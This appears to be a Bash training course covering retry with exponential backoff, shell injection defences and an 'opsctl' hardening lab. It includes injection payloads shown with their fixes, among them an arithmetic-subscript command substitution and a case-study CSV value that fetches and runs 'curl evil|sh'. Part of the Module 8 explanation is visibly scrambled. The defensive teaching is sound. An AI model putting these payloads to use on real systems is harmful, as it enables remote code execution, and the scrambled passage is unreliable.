Design details: if "$@"; then … else rc=$? In the first line of the else branch, take $?, which gives the command's real exit code; use "$@" rather than string + eval (Module 7); printf -v pause '%d.%03d' generate fractional seconds with millisecond precision and pass them to sleep (GNU, BusyBox and macOS sleep all support decimals); (( ++attempt )) rather than ((attempt++)) (Module 1); an optional -- before the command is ignored.

Create a flaky test script:
#!/usr/bin/env bash
# test/flaky.sh N —— the first N calls fail (exit code 1), then succeed; used to demonstrate util::retry
set -euo pipefail
n=${1:?usage: flaky.sh FAILURES}
state=${FLAKY_STATE:-$(dirname -- "$0")/../var/flaky.count}
count=$(( $(cat -- "$state" 2>/dev/null || echo 0) + 1 ))
printf '%d\n' "$count" >"$state"
if (( count <= n )); then
  echo "flaky: call $count -> fail" >&2
  exit 1
fi
echo "flaky: call $count -> ok" >&2
rm -f -- "$state"
Run four cases:
cd ~/bashlab/opsctl && chmod +x test/flaky.sh && mkdir -p var && export NO_COLOR=1
bash -c '. lib/log.sh; . lib/util.sh; util::retry 5 1 ./test/flaky.sh 2'; echo "rc=$?"
RETRY_MAX_DELAY=1 bash -c '. lib/log.sh; . lib/util.sh; util::retry 3 1 false'; echo "rc=$?"
bash -c '. lib/log.sh; . lib/util.sh; util::retry 5 1 no-such-cmd'; echo "rc=$?"
bash -c '. lib/log.sh; . lib/util.sh; util::retry 3 1 timeout 1 sleep 3'; echo "rc=$?"
flaky: call 1 -> fail
2026-11-17T02:37:40-0500 WARN  opsctl[377]: attempt 1/5 failed (exit 1), retrying in 0.131s
flaky: call 2 -> fail
2026-11-17T02:37:41-0500 WARN  opsctl[377]: attempt 2/5 failed (exit 1), retrying in 0.815s
flaky: call 3 -> ok
2026-11-17T02:37:42-0500 INFO  opsctl[377]: attempt 3 succeeded: ./test/flaky.sh 2
rc=0
2026-11-17T02:37:42-0500 WARN  opsctl[393]: attempt 1/3 failed (exit 1), retrying in 0.110s
2026-11-17T02:37:42-0500 WARN  opsctl[393]: attempt 2/3 failed (exit 1), retrying in 0.061s
2026-11-17T02:37:42-0500 ERROR opsctl[393]: giving up after 3 attempts (exit 1): false
rc=1
lib/util.sh: line 152: no-such-cmd: command not found
2026-11-17T02:37:42-0500 ERROR opsctl[396]: not retrying (exit 127): no-such-cmd
rc=127
2026-11-17T02:37:43-0500 WARN  opsctl[398]: attempt 1/3 failed (exit 124), retrying in 0.511s
2026-11-17T02:37:45-0500 WARN  opsctl[398]: attempt 2/3 failed (exit 124), retrying in 0.396s
2026-11-17T02:37:46-0500 ERROR opsctl[398]: giving up after 3 attempts (exit 124): timeout 1 sleep 3
rc=124

Note that the wait after the 2nd failure is only 0.061 s — full jitter permits very short waits, which is normal. The line 152 in the error message is the line in v0.2 util.sh where if "$@" is located; your line number may differ.

Think about it: why timeout 1 sleep 3 's 124 is treated as retryable but 127 is not? If your command uses 2 to mean “temporarily unavailable”, how should you change case? (Answer: let the caller pass the list of non-retryable codes via arguments or environment variables, or wrap the command to map its exit codes to the agreed values.)

Case 1: on release day, 100 machines retrying at once overwhelmed the artifact repository

Problem: The artifact repository briefly returned 503, and every node's startup script was for i in 1 2 3 4 5; do curl … && break; sleep 5; done, and waves of synchronized requests every 5 seconds kept the repository overloaded for 20 minutes. Fix: Change to exponential backoff + full jitter, capped at 60 seconds; add --max-time. Result: requests are spread out over time, and the repository recovers before the second wave.

Case 2: unlimited retries left a CI job hanging for 6 hours

Problem:until kubectl rollout status deploy/api; do sleep 10; done, a wrongly typed image name meant it could never succeed, until the CI platform's global timeout. Fix: attempt limit + per-attempt timeout + total time budget; kubectl rollout status --timeout=5m.

Case 3: retried a POST that should not have been retried

Problem: The API for creating tickets occasionally succeeded on the server but timed out in response; the script's retry then created duplicate tickets. Fix: Only automatically retry idempotent requests (GET/PUT/DELETE); for POST, use the server-supported idempotency key (Idempotency-Key header) or query first and then create.

Common errors and fixes

timeout: failed to run command 'my_func': No such file or directory

Cause:timeout is an external command and cannot see shell functions.

Fix:export -f my_func; timeout 10 bash -c my_func (note that the bash being called does not inherit variables that were not exported), or add timeout only to the external commands inside the function.

sleep: invalid time interval '0.5'

Cause: On a few minimal systems, sleep does not support decimals. Fix: Change the backoff unit to whole seconds: sleep $(( RANDOM % (delay + 1) )).

The retry function reports “succeeded on attempt 1”, but the function it called actually failed midway

Cause:if "$@" calls a shell function inside set -e is disabled, and the function returns the status of its last command.

Fix: Inside the function being retried, explicitly check each critical step || return; or write it as a standalone script and pass that to retry.

The script leaves child processes behind after a timeout

Cause:timeout sends the signal to the process group it started; but if the command itself further setsid or uses --foreground, grandchild processes can escape.

ps -o pid,pgid,cmd --forest -g "$(ps -o pgid= $$)"

Fix: Do not use --foreground; add -k; have the called program handle TERM correctly.

Command-line exercises
1. Try downloading a URL at most 4 times, at most 10 seconds each, with backoff after failures.
util::retry 4 2 timeout -k 5 10 curl -fsS -o out.json "$url"
2. Compute the wait cap after the 6th failure (base=2, cap=30).
echo $(( 2 * (1 << 5) ))   # 64 → truncated to 30 by the cap
Scenario analysis
Your script retries an HTTP API 5 times (base 1, cap 30), with a single --max-time 20. How long can this step take in the worst case? The pipeline timeout is 3 minutes — is that appropriate?

The wait caps are 1+2+4+8=15 seconds (no wait after the 5th failure); 5 requests take at most 100 seconds, for a total of about 115 seconds (actual waits are usually shorter with full jitter). That fits within 3 minutes, but if other steps follow, set a total time budget, for example with curl --retry-max-time or by checking elapsed time inside retry ($SECONDS).

teaching videos

No English video verified via YouTube oEmbed that specifically explains Bash retries and exponential backoff was found. Authoritative references:

Video storyboard (about 75 seconds)

Shot 1 · 0–20s
Visual: 100 client icons send arrows to the server at the same moment; the server smokes.
Narration: clients that fail together and retry at the same moment will overwhelm the service again.
Shot 2 · 20–45s
Visual: bar chart rises step by step: 1, 2, 4, 8, 16 seconds, capped at 30 seconds.
Narration: exponential backoff doubles each wait, and sets a ceiling.
Shot 3 · 45–60s
Visual: the arrows on the timeline are randomly scattered into an even distribution.
Narration: add full jitter, wait randomly between zero and the cap, and the traffic is flattened.
Shot 4 · 60–75s
Visual: the timeout timer hits zero and shows 124; the command returning 127 is refused retry outright.
Narration: every attempt needs a timeout; for errors such as command not found, do not retry.
or score ≥ 70% on the quiz

Module 7 · Security: injection, eval, glob and untrusted input

42:00 – 50:00 · The shell parses your data a second time — quotes, arrays,-- and allowlist validation keep data as data, always
8 minprintf %q · ${v@Q}Arithmetic-context injection★★★★★
Learning objectives
  • Describe the two steps an unquoted expansion goes through: word splitting (by IFS) and pathname expansion (* ? [), and give examples of the deletions and injections they cause.
  • Use --,./*,find -print0 + read -r -d '' to safely handle filenames that start with a dash or contain spaces or newlines.
  • Know that eval,bash -c "$x",ssh host "cmd $x",source config files all “treat data as code”; when needed, use arrays or printf %q.
  • Understand that arithmetic contexts ((( )),[[ -gt ]],$(( )), array subscripts) evaluate variable contents and can trigger command substitution; validate numbers with a regex first.
  • Guard against PATH hijacking, secret leakage on the command line, and the extra risks of running as root.
Prerequisites: quoting and parameter expansion (Lesson 2). Importance:★★★★★

What: when does data become code?

RiskDangerous formWhat happensSafe form
Word splittingrm $f (f="a b.txt")becomes two arguments a,b.txtrm -- "$f"
Pathname expansionecho $p (p='*')expands to all filenames in the current directoryprintf '%s\n' "$p"
Option injectionrm * (a file named -rf exists in the directory)the filename is treated as an optionrm -- * or rm ./*
eval injectioneval "echo hello $name" (name='x; reboot')what follows the semicolon runs as a commandDo not use eval; if you must, printf -v q '%q' "$name"
Arithmetic injection(( n > 1 )) (n='a[$(cmd)]')the array subscript is evaluated,$(cmd) and the command runsfirst [[ $n =~ ^[0-9]+$ ]]
Remote second parsingssh host "rm -rf $dir"the remote shell parses it again $dir contentsssh host "rm -rf -- $(printf %q "$dir")"
Config as codesource etc/app.confany command in a config file runsParse line by line against an key = value allowlist (the opsctl Lesson 3 config::load_file)
PATH hijackingPATH contains . or a writable directory; root inherits the user's PATHcalls an attacker-placed ls,tarreset PATH when running as root; use absolute paths for critical commands
Pattern matching[[ $input == $allowed ]]an unquoted right-hand side is a glob pattern,* which matches everything[[ $input == "$allowed" ]]
Secret leakagecurl -u "user:$PASS",mysql -p"$PASS"arguments appear in ps,/proc/PID/cmdline are visible to other users inpass them from a file / stdin / a protected environment variable (such as curl --netrc-file)

Why: the shell's “expand, then parse again” model

Lesson 1 covered how a command line is processed: word splitting → various expansions → word splitting and pathname expansion again on unquoted expansion results → quote removal → execution. Once data enters a variable, if it is not double-quoted at the point of use, it goes through the last two steps again. eval,bash -c,ssh,su -c,sudo sh -c,xargs (without -0) will make the data start over from the beginning and go through full parsing again, including ;,$( ), and redirection.

How: six rules

  1. Double-quote all expansions: "$var","${arr[@]}","$(cmd)". The only exception is when you explicitly need word splitting, and then add a comment explaining it.
  2. Build commands with arrays rather than concatenating strings: args=(--format "$fmt" -- "$file"); tool "${args[@]}".
  3. Use -- to end options (rm,mv,cp,grep,cat,mkdir,command -v etc. all support it); for commands that do not support -- , prefix relative paths with ./ .
  4. Separate filenames with NUL: find … -print0 | while IFS= read -r -d '' f,xargs -0; do not parse ls output.
  5. Validate input against an allowlist: [[ $env =~ ^(dev|staging|prod)$ ]], numbers ^[0-9]+$, names ^[A-Za-z0-9._-]+$, and reject values starting with - . Validate before use.
  6. Do not eval. For “dynamic variable names” use printf -v "$name",declare -n (nameref) or associative arrays; to pass arguments safely to another shell layer, use printf %q / ${var@Q}.

When: extra rules when running as root

  • Reset PATH at the start (opsctl v0.2: EUID == 0 set to system directories when running as root); do not trust the caller's PATH,IFS,BASH_ENV,LD_PRELOAD; when using sudo , it by default passes secure_path and env_reset to handle most environment variables.
  • umask 077 before creating sensitive files; the write path must not be in a directory that ordinary users can write to.
  • Do not perform chown -R/chmod -R on user-controllable paths (symlinks redirect the operation elsewhere); when necessary, find -P … -xdev.
Common misconceptions① “Variables never contain spaces, so no quotes are needed” — filenames, user input and command output are not under your control, and a single * is enough. ② “eval with quotes is safe” —eval "echo \"$x\"" x contains \"; cmd; \" can still escape. ③ “[[ ]] does not need quotes” — the left side does not split, but == the right side is a pattern,-gt and both sides are arithmetic expressions. ④ “set -u prevents rm -rf "$dir/" from turning into rm -rf /” — it only guards against unset, not empty strings; use "${dir:?}". ⑤ “IFS=$'\n\t' solves word splitting” — it does not prevent pathname expansion, nor does it handle filenames containing newlines.

Where data gets “parsed again”

Untrusted inputarguments · filenames · API responses unquoted $var→ word splitting + pathname expansion eval · bash -c · ssh · su -c→ full re-parsing (; $( ) > all take effect) (( )) · $(( )) · [[ -gt ]] · subscripts→ arithmetic evaluation (can execute $( )) command option parsing (filename starts with -) "$var" · "${arr[@]}"data stays as one argument array arguments · printf %q · ${var@Q}safe escaping when it must cross a shell [[ $n =~ ^[0-9]+$ ]] allowlist checkenter arithmetic only after validation cmd -- "$file" · ./* · -print0
Figure 7-1: the four “parsed again” entry points on the left; the matching defenses on the right

Injection demonstrator: the same input, argv under different forms

Choose or type an “untrusted value”, then choose a code form. The demonstrator shows, using simplified Bash rules, the final argument list (argv) passed to the command and whether injection occurs. Assumed files in the current directory: a.txt,b.txt,-rf. This is a teaching simulation; the rules are backed by actual run results on the “Command” page.

Expansion process
Final argv

Security-related syntax and tools

FormEffect
printf '%q ' "$@"output in a form the shell can safely re-parse
${var@Q}same as above (Bash 4.4+), single-quote style
printf -v "$name" '%s' "$value"assign to a variable whose name is held in a variable, replacing eval (validate the name first)
declare -n ref=$namenameref, replacing eval for indirect references (Bash 4.3+)
find . -type f -print0 | while IFS= read -r -d '' f; do …handle arbitrary filenames
find … -exec cmd {} +not parsed by the shell; passes the filename directly as an argument
shopt -s nullglob / failglobexpands to nothing / errors when there is no match, instead of keeping *.log the literal
command -v -- "$cmd"look up command paths (builtins and functions are also returned)
shellcheck script.shstatic checks (SC2086 unquoted, SC2155 local masking return values, etc.; Lesson 7)

Actual run: word splitting, quoting, arithmetic injection

p='*.sh'; echo $p; echo "$p"
f='a b.txt'; printf '[%s]\n' $f; printf '[%s]\n' "$f"
name='x; echo hi'; printf '%q\n' "$name" 'a b' $'new\nline'
v="it's \$HOME"; echo "${v@Q}"
n='a[$(echo SUBST-RAN >&2)]'
(( n > 1 )) && echo big || echo small
[[ $n -gt 1 ]] && echo big || echo small
[[ $n =~ ^[0-9]+$ ]] || echo "rejected: not a number"
args=(--format "%s %s" "a b"); printf '[%s]\n' "${args[@]}"
e1.sh sec.sh sigwait.sh t2.sh
*.sh
[a]
[b.txt]
[a b.txt]
x\;\ echo\ hi
a\ b
$'new\nline'
'it'\''s $HOME'
SUBST-RAN
small
SUBST-RAN
small
rejected: not a number
[--format]
[%s %s]
[a b]

Note lines 5–7: The variable n contents in (( )) and [[ -gt ]] are treated as arithmetic expressions,a[…] and the subscript of $(echo SUBST-RAN) actually runs (the command substitution inside it). Replacing echo with any command is remote code execution — if n comes from an HTTP parameter, a CSV field or a filename.

Lab 7: fix 5 snippets of vulnerable code (about 7 min)

Work only in ~/bashlab/ch04/sec (a copy of the Lesson 1 data/files/ data) and do not change the original data. The output in this section is an example (the authoring environment's automation policy does not allow creating files starting with - ; it was not actually run), so please verify in your own environment.

Copy the “weird-name” files from Lesson 1 (make-data.sh generated 15 files: containing tabs, newlines,-n,--verbose.log,star*.txt, trailing spaces,.hidden.txt,sub dir/nested file.log etc.):
mkdir -p ~/bashlab/ch04 && cp -a -- ~/bashlab/data/files ~/bashlab/ch04/sec
cd ~/bashlab/ch04/sec && ls -bA
--verbose.log  -n  .hidden.txt  a\ b.txt  new\nline.txt  star*.txt  sub\ dir  …

If you do not have the Lesson 1 data, create a few yourself: touch -- 'a b.txt' -n $'new\nline.txt' 'star*.txt'.

Vulnerability 1: unquoted + option injection. The “count lines in each txt file” snippet below has a bug:
for f in $(ls *.txt); do wc -l $f; done        # ❌
for f in ./*.txt; do wc -l -- "$f"; done       # ✅ the glob yields filenames directly; ./ and -- added

❌ The version that a b.txt splits into two arguments, splits names containing newlines, and expands star*.txt again; ls its output is also unreliable. For recursive processing, sub dir/ use find . -type f -name '*.txt' -print0 | while IFS= read -r -d '' f; do wc -l -- "$f"; done.

Vulnerability 2: cat * when encountering a file named -n file:
cat *        # ❌ -n and --verbose.log are treated as options (GNU cat does not recognize --verbose.log and errors out)
cat -- *     # ✅ or cat ./*
Vulnerability 3: eval concatenation. Fix a function that “sets a variable by name”:
# ❌ set_var() { eval "$1=$2"; }      set_var x 'y; touch PWNED'
set_var() {                            # ✅ validate the name + printf -v, do not execute the value
  [[ $1 =~ ^[A-Za-z_][A-Za-z0-9_]*$ ]] || { echo "bad name: $1" >&2; return 2; }
  printf -v "$1" '%s' "$2"
}
set_var x 'y; touch PWNED'; echo "x=$x"; ls PWNED 2>/dev/null || echo "no PWNED"
x=y; touch PWNED
no PWNED
Vulnerability 4: arithmetic injection:
count=${1:-0}
# ❌ if (( count > 10 )); then …
[[ $count =~ ^[0-9]+$ ]] || { echo "count must be a non-negative integer" >&2; exit 2; }   # ✅ validate first
if (( 10#$count > 10 )); then echo "too many"; fi                          # 10# prevents a leading 0 from being read as octal
Vulnerability 5: ssh remote second parsing:
dir='/srv/app/releases/old one'
# ❌ ssh web-01 "rm -rf $dir"                 the remote gets rm -rf /srv/app/releases/old one (two arguments)
printf -v qdir '%q' "$dir"
ssh web-01 "rm -rf -- $qdir"                   # ✅ the remote sees one correctly escaped argument

%q output is designed for Bash; if the remote login shell is not Bash (such as dash), support for $'…' the form depends on the implementation; values containing control characters should be rejected first.

Cleanup: cd ~/bashlab/ch04 && rm -rf -- ./sec

Case 1: one space deleted /usr

Problem: This is a widely circulated real lesson: an install script of some open-source project had a line like rm -rf /usr /lib/nvidia-current/xorg/xorg , where an extra space in the path turned it into deleting the whole /usr. The variable version is even more hidden: rm -rf $PREFIX/lib, when PREFIX contains spaces or is empty. Fix: Quote all paths; "${PREFIX:?}"; before deleting, print and verify the path is under the expected prefix.

Case 2: a CSV field triggered command execution

Problem: An inventory script read the cpu field of servers.csv and used it in (( total += cpu )). Someone entered a[$(curl evil|sh)] into the spreadsheet, and every report run executed a downloaded script. Fix: Validate numeric fields with a regex first; compute the report with awk instead (awk does not execute field contents).

Case 3: a config file was executed as code

Problem: The script source /etc/app/app.conf sourced a config file that the deployment group could write to; someone added a line curl … | bash to implement “auto-update”, which caused every root-run scheduled job to execute it. Fix: Only parse KEY=VALUE (the opsctl Lesson 3 config::load_file), with a key-name allowlist; config file mode 0644 root:root.

Common errors and fixes

rm: invalid option -- 'f' / ls: invalid option -- ' '

Cause: A filename starting with - is treated as an option.

Fix:rm -- "$f"; write the glob as ./*.

bash: a[$(…)]: bad array subscript / unexpected command output appears

Cause: Non-numeric content entered an arithmetic context.

Fix: Before entering (( )),[[ -eq ]],$(( )),let,declare -i first [[ $x =~ ^-?[0-9]+$ ]].

The script reports No such file or directory when run in a directory containing spaces

Cause:cd $(dirname $0) unquoted.

Fix:cd -- "$(dirname -- "${BASH_SOURCE[0]}")"; use shellcheck to find all SC2086.

for f in *.log processes a file named “*.log” when there are no log files

Cause: By default, an unmatched glob keeps the literal pattern.

Fix:shopt -s nullglob, or inside the loop [[ -e $f ]] || continue.

ps aux shows the database password

Cause: The password is passed as a command-line argument.

Fix: a credentials file (600 permissions), standard input (--password-stdin , etc.), restricted environment variables; rotate any exposed password immediately.

Command-line exercises
1. Delete all .tmp files in the current directory (filenames may contain spaces or newlines, or start with -) without re-parsing through the shell.
find . -maxdepth 1 -type f -name '*.tmp' -exec rm -f -- {} +
2. Safely turn the array args into a single command that can be run remotely over ssh.
printf -v remote '%q ' "${args[@]}"; ssh host "$remote"
Scenario analysis
opsctl adds a new --env option whose value will be used to build a file path "$OPSCTL_HOME/etc/$env.conf". What validation is needed?

Use an allowlist ^(dev|staging|prod)$ (rather than a blocklist), which rules out ../../etc/passwd such path traversal, and also rules out values starting with - and values containing whitespace; quote paths when used; read config with config::load_file (parsed against an allowlist) rather than source.

teaching videos

No English video verified via YouTube oEmbed that specifically explains Bash injection and quoting safety was found. Authoritative references:

Video storyboard (about 90 seconds)

Shot 1 · 0–20s
Visual: the value “a b.txt” of variable f goes into rm; unquoted, it splits into two pieces.
Narration: an unquoted variable is split and expanded again.
Shot 2 · 20–45s
Visual: a file named -rf in the directory enters rm's option area and flashes red.
Narration: filenames starting with a dash are treated as options. End options with two dashes, or add a ./ prefix.
Shot 3 · 45–70s
Visual: a semicolon appears in the eval input box, and the command after it runs.
Narration: eval, bash -c and ssh re-parse data as code. Use arrays and printf %q.
Shot 4 · 70–90s
Visual: a command substitution hidden in an array subscript inside arithmetic parentheses runs.
Narration: even arithmetic can execute code. Before entering arithmetic, confirm with a regex that the value really is a number.
or score ≥ 70% on the quiz

Module 8 · opsctl v0.2: defensive hardening

50:00 – 60:00 · On top of the Lesson 3 v0.1 structure, add: strict mode, a trap cleanup chain, flock, enhanced log::*, util::retry, and the export / doctor subcommands that demonstrate atomic writes and idempotence
10 minopsctl 0.2.0Exit codes 0/1/2/3 unchanged★★★★★
Learning objectives
  • Upgrade opsctl to v0.2 without changing the Lesson 3 conventions (directory structure,module::function,opsctl::load_command by lib/cmd_<name>.sh automatic discovery of subcommands,config::get config merging, exit codes) — upgrade opsctl to v0.2.
  • Read and explain which module of this lesson each v0.2 defensive measure corresponds to.
  • Verify with fault injection: missing dependency → 3, usage error → 2, runtime failure → 1 with a call stack, no temporary file leftovers after interruption, repeated runs are idempotent, malicious config is rejected.
Prerequisites: Modules 1–7 of this lesson, Lesson 3 opsctl v0.1. Importance:★★★★★

What: what changed in v0.2

Filev0.1 (Lesson 3)v0.2 (this lesson)Module
bin/opsctlsh / Bash ≥ 4.3 / POSIX mode check,readlink -f locating,opsctl::list_commands / usage / load_command / main, global options -c -v -h -Vversion requirement raised to 4.4; set -Eeuo pipefail + inherit_errexit; reset PATH when root; OPSCTL_VERSION="0.2.0"; opsctl::main first line util::setup_traps; usage lists runtime environment variables. Everything else unchanged1, 2, 7
lib/log.shlog::debug/info/warn/error → stderr,LOG_LEVEL filtering, timestamps, include guardadd PID, color only on terminals (respects NO_COLOR),OPSCTL_LOG_FILE save a copy (no color), write whole lines at once, explicit return 05
lib/util.shutil::die,usage_error,require_cmd,in_list,is_identifier,csv_splitoriginal functions unchanged, append at the end: EX_* constants,util::setup_traps (ERR call stack / EXIT cleanup / INT TERM HUP),util::cleanup_add,util::mktemp_dir,util::lock,util::retry <tries> <delay> <cmd> [args…]2, 3, 4, 6
lib/cmd_export.sh—New cmd::export: opsctl export servers --out FILE [--env ENV]: allowlist validation → lock → mktemp in the same directory → generate → skip if content is identical → atomic mv3, 4, 7
lib/cmd_doctor.sh—New cmd::doctor: checks dependencies, data files and lock directory; after collecting all problems, exits with 31, 4
test/flaky.sh,var/lock/—New retry demo script; lock file directory (lock files kept permanently)4, 6
lib/config.sh,lib/cmd_servers.sh,lib/cmd_config.sh,etc/opsctl.conf, unchanged config::load_file . The v0.17

is already a safe implementation that “parses line by line against an allowlist and never sources” (the approach Module 7 recommends); v0.2 reuses it directly lib/cmd_export.sh New subcommands only need to be placed in lib/cmd_doctor.sh , # opsctl-summary: and write a good opsctl::list_commands comment — v0.1's opsctl::load_command and bin/opsctl will automatically discover them,

dispatch code needs no changes.

  • Why: the reasons behind each design decision Strict mode is placed after the version check shopt -s inherit_errexit : on Bash 3.2,
  • would report confusing errors; check first and give a clear message with exit code 3 (Module 1). Do not modify IFS
  • : v0.1 already quotes everything and passes arguments via arrays, which is more predictable than changing IFS globally (Modules 1, 7). ERR only reports, EXIT only cleans up util::_on_err : print the failing command and call stack; skip in subshells to avoid duplicates; return N explicit is not reported opsctl — in v0.1, return 2 with no arguments servers , return 2 with no action util::_on_exit are expected usage errors and should not print a call stack. trap - EXIT First exit "$rc" guard against re-entry, then delete the registered paths, and finally
  • preserve the exit code (Module 2). util::die / util::usage_error Expected failures use exit :
  • do not trigger the ERR trap, so usage errors and missing dependencies print just one clear line; only unexpected failures print a call stack. Libraries do not set traps util::cleanup_add : subcommands only call util::setup_traps to register cleanup; the entry point is unified
  • (Module 2, Case 3). Locks use flock + long-lived lock files
  • , export waits at most 10 seconds; on failure it returns 1 by convention and states the reason (Module 4). export is idempotent
  • util::retry : if content is identical it is not rewritten, so downstream does not reprocess because the mtime changed (Module 4). signature of util::retry <tries> <delay> <cmd> [args…] is health/backup/deploy , and the Lesson 6 -- uses it directly; for compatibility with habit, the optional

before the command is ignored. opsctl export servers How: the execution order of one

  1. run OPSCTL_HOME sh / Bash ≥ 4.4 / POSIX mode check → strict mode → reset PATH when root → compute
  2. source .
  3. opsctl::main log.sh, util.sh, config.sh (define functions only). util::setup_traps : config::init → opsctl::load_command export→ parse global options → lib/cmd_export.sh (validate name, source cmd::export , confirm
  4. is defined) → call. config::get env → util::in_list argument parsing → util::usage_error allowlist (on failure →
  5. util::lock export 10→ 2).
  6. (missing flock → 3; lock timeout → 1). mktemp → util::cleanup_add same directory cmp -s → chmod → mv -f→ awk generation → line-count check →
  7. .

The EXIT trap deletes any temporary files still present; when the process exits, the kernel closes fds and releases locks.

When: what is still missing after v0.2 util::retry v0.2 still lacks automated tests and static checks (Lesson 7 adds them with bats-core, ShellCheck, shfmt and CI), and it does not yet really use health network operations (Lesson 6's v0.3 backup,deploy, logs report ). The Lesson 5

will reuse this lesson's logging, temporary directories and atomic writes.① “After enabling strict mode, old code always still runs” — v0.1 was already verified under bash -euo pipefail ; in code you add yourself, [[ … ]] && … as the last line of a function,((i++)), and unset variables are exposed — this is exactly the purpose of hardening. ② “The ERR trap will also print util::die as a call stack” — no,exit does not trigger ERR. ③ “util::retry can retry any function” — inside the function being retried, set -e is disabled (Module 1), so the function must itself || return.

Architecture diagram: file and call relationships in opsctl v0.2

bin/opsctl ① sh / Bash ≥ 4.4 / POSIX check → exit 3② set -Eeuo pipefail + inherit_errexit③ source log / util / config④ main: setup_traps → global options → config::init → load_command⑤ "cmd::$cmd" "$@" lib/log.shlog::debug/info/warn/error → stderrPID · NO_COLOR · OPSCTL_LOG_FILE lib/util.sh v0.1: die · usage_error · require_cmd in_list · is_identifier · csv_splitv0.2: setup_traps (ERR/EXIT/INT/TERM/HUP) cleanup_add · mktemp_dir lock (flock, var/lock) retry <tries> <delay> <cmd>…lib/config.sh (v0.1, unchanged):config::init / get / set_flag / load_file cmd_servers.sh · cmd_config.shv0.1, unchanged cmd_export.sh (new)validate → lock → mktemp → cmp → mvuses: lock · cleanup_add · config::get cmd_doctor.sh (new)dependencies · data · lock directory → 3 etc/opsctl.confkey = value var/lock/export.lock Exit code convention (unchanged)0 success · 1 general error2 usage error · 3 missing dependency
Figure 8-1: the entry point handles policy (strict mode, traps, config), the library handles mechanisms, and subcommands only call the library; subcommands are discovered automatically by filename

opsctl export execution flow + fault injection

Choose a scenario and click “▶ Run”. The flow lights up step by step; at the fault point it shows which mechanism takes over, what log is printed, and the final exit code and disk state. The log text and exit codes come from this lesson's actual runs of v0.2 (the lock conflict item is an example).

Choose a scenario.

opsctl v0.2 usage

CommandDescriptionExit code
opsctl -V / opsctl versionPrints opsctl 0.2.00
opsctl --help / opsctl help exportgeneral help (automatically lists 4 subcommands) / subcommand help0
opsctl servers list --env prodv0.1 subcommand, behavior unchanged0 / 1 / 2
opsctl export servers --out FILE [--env ENV]atomic export; does not rewrite if content is unchanged0 / 1 / 2 / 3
opsctl doctorenvironment check0 / 3
opsctl -v …debug log (including lock acquired)
OPSCTL_LOG_FILE=~/bashlab/log/opsctl.log opsctl …save a copy of the log
OPSCTL_LOCK_DIR,RETRY_MAX_DELAY,NO_COLORlock directory, per-retry wait cap, disable color

reuse library functions in other scripts

#!/usr/bin/env bash
set -Eeuo pipefail
OPSCTL_HOME=~/bashlab/opsctl
. "$OPSCTL_HOME/lib/log.sh"; . "$OPSCTL_HOME/lib/util.sh"
util::setup_traps
util::mktemp_dir work                       # deleted automatically on exit
util::retry 5 1 timeout 10 curl -fsS -o "$work/status.json" https://example.com/
log::info "downloaded $(wc -c <"$work/status.json") bytes"

Lab 8: full opsctl v0.2 upgrade and fault injection (about 10 min)

The v0.1 files this lab assumes (Lesson 3 capstone, tag v0.1.0)~/bashlab/opsctl/bin/opsctl,lib/log.sh,lib/util.sh,lib/config.sh,lib/cmd_servers.sh,lib/cmd_config.sh,etc/opsctl.conf. This lab will replace bin/opsctl and lib/log.sh, in lib/util.sh append to the end of a section,add lib/cmd_export.sh,lib/cmd_doctor.sh,test/flaky.sh,var/lock/; config.sh,cmd_servers.sh,cmd_config.sh,etc/opsctl.conf remain unchanged.
No v0.1? The minimal starting point is the Lesson 3 v0.1: openthe Lesson 3 “Capstone lab”, and paste the 7 cat > file <<'OPSCTL_EOF' code blocks in order into ~/bashlab/opsctl and run them (each block is a complete file), then confirm with the Step 1 command.
Confirm v0.1 and keep:
cd ~/bashlab/opsctl
bin/opsctl -V && bin/opsctl servers list --env prod | head -3
git tag -l 'v0.1*' 2>/dev/null; git status --short 2>/dev/null | head   # the Lesson 3 already ran git init
opsctl 0.1.0
NAME       ENV      REGION         IP              ROLE
web-01     prod     canadacentral  10.0.1.11       web
v0.1.0

If the working tree has uncommitted changes, commit first, so you can use git diff v0.1.0 to view this lesson's changes.

Replace lib/log.sh (enhanced version of v0.1, interface unchanged):
# shellcheck shell=bash
# lib/log.sh —— logging functions: log::debug / log::info / log::warn / log::error (v0.2)
# Convention: logs always go to stderr; stdout is reserved for “data” (can be captured by pipes, redirection, $(...)).
# v0.2 adds: PID, color only on terminals (respects NO_COLOR), OPSCTL_LOG_FILE saves a copy, always returns 0
[[ -n ${_OPSCTL_LOG_SH-} ]] && return 0   # include guard: return immediately when sourced again
_OPSCTL_LOG_SH=1

declare -gA _LOG_RANK=([debug]=10 [info]=20 [warn]=30 [error]=40)
LOG_LEVEL=${LOG_LEVEL:-info}              # set by bin/opsctl after parsing config

log::_emit() {   # log::_emit <level> <message...>
  local level=$1; shift
  local want=${_LOG_RANK[$LOG_LEVEL]:-20}
  (( ${_LOG_RANK[$level]:-20} >= want )) || return 0
  local line color='' reset=''
  # %(...)T is the printf builtin time format (Bash 4.2+); no need to fork a date process
  printf -v line '%(%Y-%m-%dT%H:%M:%S%z)T %-5s %s[%d]: %s' -1 "${level^^}" "${OPSCTL_PROG:-opsctl}" "$$" "$*"
  if [[ -t 2 && -z ${NO_COLOR-} ]]; then
    case $level in
      debug) color=$'\e[2m' ;; warn) color=$'\e[33m' ;; error) color=$'\e[31m' ;;
    esac
    [[ -n $color ]] && reset=$'\e[0m'
  fi
  printf '%s%s%s\n' "$color" "$line" "$reset" >&2   # write the whole line at once
  if [[ -n ${OPSCTL_LOG_FILE-} ]]; then
    printf '%s\n' "$line" >>"$OPSCTL_LOG_FILE" || true   # the file never contains color
  fi
  return 0
}
log::debug() { log::_emit debug "$@"; }
log::info()  { log::_emit info  "$@"; }
log::warn()  { log::_emit warn  "$@"; }
log::error() { log::_emit error "$@"; }
Append the v0.2 section to the end of lib/util.sh (do not change a single character of the original v0.1 functions):
cat >> ~/bashlab/opsctl/lib/util.sh <<'OPSCTL_EOF'
# ======================= added in v0.2 (Lesson 4) =======================
readonly EX_OK=0 EX_ERR=1 EX_USAGE=2 EX_DEP=3

# ---------- trap: ERR reporting + unified EXIT cleanup + signal-to-exit ----------
declare -ga _UTIL_CLEANUP=()      # paths to delete on exit (registered by util::cleanup_add)

util::_on_err() {
  local rc=$? i n=${#FUNCNAME[@]} fn
  (( BASH_SUBSHELL == 0 )) || return "$rc"       # failures in a subshell / command substitution are reported by the parent shell
  [[ $BASH_COMMAND == return* ]] && return "$rc" # an explicit return N is an expected failure, handled by the caller
  log::error "command failed (exit $rc): $BASH_COMMAND"
  for (( i = 1; i < n; i++ )); do
    fn=${FUNCNAME[i]}
